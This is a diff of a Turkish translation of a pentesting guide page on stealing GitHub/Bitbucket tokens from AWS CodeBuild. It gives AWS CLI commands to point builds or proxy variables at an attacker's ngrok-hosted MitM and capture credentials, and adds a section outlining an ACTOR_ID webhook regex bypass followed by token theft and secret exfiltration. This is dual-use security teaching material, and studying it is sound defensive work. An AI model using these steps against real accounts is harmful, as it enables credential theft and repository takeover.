diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 8568cc132..9ca0b285d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,47 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Github/Bitbucket Yapılandırılmış Token'larını Kurtarma
+## Github/Bitbucket yapılandırılmış Tokens'leri kurtarma
-Öncelikle, sızdırabileceğiniz herhangi bir kaynak kimlik bilgisi yapılandırılıp yapılandırılmadığını kontrol edin:
+Önce, leak edebileceğiniz herhangi bir source credentials yapılandırılmış mı diye kontrol edin:
```bash
aws codebuild list-source-credentials
```
-### Docker Görüntüsü Üzerinden
+### Via Docker Image
-Eğer örneğin Github'a kimlik doğrulamanın hesapta ayarlandığını bulursanız, Codebuild'i projeyi oluşturmak için **belirli bir docker görüntüsü** kullanmaya zorlayarak bu **erişimi** (**GH token veya OAuth token**) **sızdırabilirsiniz**.
+If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
-Bu amaçla **yeni bir Codebuild projesi oluşturabilir** veya mevcut birinin **ortamını** değiştirerek **Docker görüntüsünü** ayarlayabilirsiniz.
+For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
-Kullanabileceğiniz Docker görüntüsü [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu, **env değişkenlerini `https_proxy`**, **`http_proxy`** ve **`SSL_CERT_FILE`** ayarlayacak çok temel bir Docker görüntüsüdür. Bu, **`https_proxy`** ve **`http_proxy`**'da belirtilen ana bilgisayarın trafiğinin çoğunu kesmenizi ve **`SSL_CERT_FILE`**'da belirtilen SSL CERT'ine güvenmenizi sağlar.
+The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
-1. **Kendi Docker MitM görüntünüzü oluşturun ve yükleyin**
-- Proxy IP adresinizi ayarlamak ve SSL sertifikanızı belirlemek için repo talimatlarını izleyin ve **docker görüntüsünü oluşturun**.
-- **`http_proxy`**'yi ayarlamayın, böylece metadata uç noktasına yapılan istekleri kesmeyin.
-- Proxy'yi ana bilgisayarınıza ayarlamak için **`ngrok`** kullanabilirsiniz, örneğin `ngrok tcp 4444`.
-- Docker görüntünüzü oluşturduktan sonra, **bunu halka açık bir repoya yükleyin** (Dockerhub, ECR...).
-2. **Ortamı ayarlayın**
-- **Yeni bir Codebuild projesi oluşturun** veya mevcut birinin ortamını **değiştirin**.
-- Projeyi **önceden oluşturulmuş Docker görüntüsünü** kullanacak şekilde ayarlayın.
+1. **Create & Upload your own Docker MitM image**
+- Repo'daki talimatları takip ederek proxy IP adresinizi ve SSL sertifikanızı ayarlayın ve **docker image'i build edin**.
+- **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
+- Proxy'yi hostunuza ayarlamak için **`ngrok`** gibi bir araç kullanabilirsiniz: `ngrok tcp 4444`
+- Docker image'i build ettikten sonra, **upload it to a public repo** (Dockerhub, ECR...)
+2. **Set the environment**
+- Yeni bir **Codebuild project** oluşturun veya mevcut bir projenin **environment**'ını değiştirin.
+- Projeyi daha önce oluşturduğunuz **Docker image**'i kullanacak şekilde ayarlayın.
-3. **Ana bilgisayarınızda MitM proxy'yi ayarlayın**
+3. **Set the MitM proxy in your host**
-- **Github repo**'sunda belirtildiği gibi, şunu kullanabilirsiniz:
+- As indicated in the **Github repo** you could use something like:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
-> Kullanılan **mitmproxy sürümü 9.0.1** idi, sürüm 10 ile bunun çalışmayabileceği bildirildi.
+> Kullanılan **mitmproxy version used was 9.0.1**, sürüm 10 ile bunun çalışmayabileceği rapor edildi.
-4. **Build'i çalıştırın ve kimlik bilgilerini yakalayın**
+4. **Build'i çalıştırın & kimlik bilgilerini yakalayın**
- Token'ı **Authorization** başlığında görebilirsiniz:
-Bu, aws cli üzerinden de şöyle yapılabilir:
+Bu, aws cli ile şu şekilde de yapılabilir
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-### Via insecureSSL
+### insecureSSL aracılığıyla
-**Codebuild** projeleri, yalnızca API'den değiştirilebilen, webde gizli bir ayar olan **`insecureSsl`** adlı bir ayara sahiptir.\
-Bunu etkinleştirmek, Codebuild'in platform tarafından sunulan **sertifikayı kontrol etmeden** depoya bağlanmasına olanak tanır.
+**Codebuild** projelerinin web arayüzünde gizli olan ve yalnızca API üzerinden değiştirilebilen **`insecureSsl`** adında bir ayarı vardır.\
+Bunu etkinleştirmek, Codebuild'in platformun sunduğu sertifikayı kontrol etmeden repository'ye bağlanmasına izin verir.
-- Öncelikle mevcut yapılandırmayı şu şekilde listelemeniz gerekir:
+- İlk olarak mevcut yapılandırmayı aşağıdakine benzer bir komutla enumerate etmeniz gerekir:
```bash
aws codebuild batch-get-projects --name
```
-- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncellememe dair bir örnek var, sonunda **`insecureSsl=True`** olduğunu unutmayın (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir).
-- Ayrıca, tcp ngrok'unuza işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini de ekleyin:
+- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncelleme örneğim var; sonundaki **`insecureSsl=True`** kısmına dikkat edin (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir).
+- Ayrıca, **http_proxy** ve **https_proxy** çevre değişkenlerini tcp ngrok'unuza işaret edecek şekilde ekleyin, örneğin:
```bash
aws codebuild update-project --name \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name \
]
}'
```
-- Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından belirtilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
+- Sonra, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği proxy variables (http_proxy ve https_proxy) tarafından gösterilen porta çalıştırın
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Son olarak, **Projeyi oluştur** butonuna tıklayın, **kimlik bilgileri** **düz metin** (base64) olarak mitm portuna **gönderilecektir**:
+- Son olarak, **Build the project**'e tıklayın; **credentials** mitm portuna **düz metin** (base64) olarak gönderilecek:
-### ~~HTTP protokolü aracılığıyla~~
+### ~~HTTP protokolü üzerinden~~
-> [!TIP] > **Bu güvenlik açığı, AWS tarafından 2023 Şubat ayının 20'si haftasında bir noktada (sanırım Cuma günü) düzeltildi. Bu nedenle bir saldırgan bunu artık kötüye kullanamaz :)**
+> [!TIP] > **Bu zafiyet, 20 Şubat 2023 haftasında AWS tarafından bir noktada düzeltildi (sanırım Cuma). Bu yüzden bir saldırgan artık bunu kötüye kullanamaz :)**
-**Yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını sızdırabilir** veya izinler OAuth aracılığıyla yapılandırılmışsa, **koda erişmek için kullanılan geçici OAuth token'ını** sızdırabilir.
+Bir saldırgan, bir CodeBuild üzerinde **yükseltilmiş izinlere** sahipse yapılandırılmış Github/Bitbucket token'ını leak edebilir veya izinler OAuth ile yapılandırıldıysa, koda erişmek için kullanılan **geçici OAuth token'ını** leak edebilir.
-- Bir saldırgan, kendi makinesine işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini CodeBuild projesine ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
+- Bir saldırgan, CodeBuild projesine **http_proxy** ve **https_proxy** environment variable'larını ekleyerek bunları kendi makinesine işaret edecek şekilde ayarlayabilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
-- Ardından, github repo'sunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
-- Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaret edilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresinden temel örneği çalıştırın.
+- Sonra, github deposunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
+- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Sonra, **Projeyi oluştur** butonuna tıklayın veya komut satırından oluşturmayı başlatın:
+- Ardından **Build the project** seçeneğine tıklayın veya derlemeyi komut satırından başlatın:
```sh
aws codebuild start-build --project-name
```
-- Sonunda, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna **gönderilecektir**:
+- Son olarak, **credentials** **açık metin** (base64) olarak mitm portuna gönderilecek:
> [!WARNING]
-> Artık bir saldırgan, makinesinden token'ı kullanarak, sahip olduğu tüm ayrıcalıkları listeleyebilir ve CodeBuild hizmetini doğrudan kullanmaktan daha kolay bir şekilde (kötüye) kullanabilir.
+> Artık bir saldırgan token'ı kendi makinesinden kullanabilecek, sahip olduğu tüm ayrıcalıkları listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde kötüye kullanabilecek.
+
+## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
+
+Yanlış yapılandırılmış CodeBuild GitHub webhooks'u, anchor'lanmamış `ACTOR_ID` regex'leri kullandığında *güvenilmeyen* PR'lerin ayrıcalıklı build'leri başlatmasına izin verir. Eğer allowlist `123456|7890123` gibi `^`/`$` olmadan ayarlanmışsa, bu alt dizgilerden birini içeren herhangi bir ID eşleşir. GitHub kullanıcı ID'leri ardışık olduğundan, bir saldırgan “eclipsing” bir ID (güvenilen ID'nin süperdizisi) kaydetmek için yarışabilir ve build'i tetikleyebilir.
+
+**Exploit path**
+
+1. Public CodeBuild projelerini bularak webhook filtrelerini ortaya çıkarın ve anchor'lanmamış `ACTOR_ID` allowlist'ini çıkarın.
+2. Bir eclipsing GitHub ID elde edin:
+- Global ID sayacını örneklemek için GitHub org'ları oluşturup silin (org ID'leri aynı havuzu paylaşır).
+- Çok sayıda GitHub App manifest oluşturmayı önceden hazırlayın ve sayaç hedefe ~100 ID kala onay URL'lerini tetikleyerek güvenilen alt dizgiyi içeren bir bot ID'sini hızlıca kaydedin.
+3. Eclipsing hesaptan bir PR açın; regex alt dizgiyle eşleşir ve ayrıcalıklı build çalışır.
+4. Build RCE kullanarak (ör. dependency install hooks) GitHub credential'ını işleyen proses belleğini dump edin ve PAT/OAuth token'ı kurtarın.
+5. Token’ın `repo` scope'u ile hesabınızı collaborator/admin olarak davet edin ve kötü amaçlı commit'leri push/approve edin veya secret'leri exfiltrate edin.
+
+## References
+- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#include ../../../../banners/hacktricks-training.md}}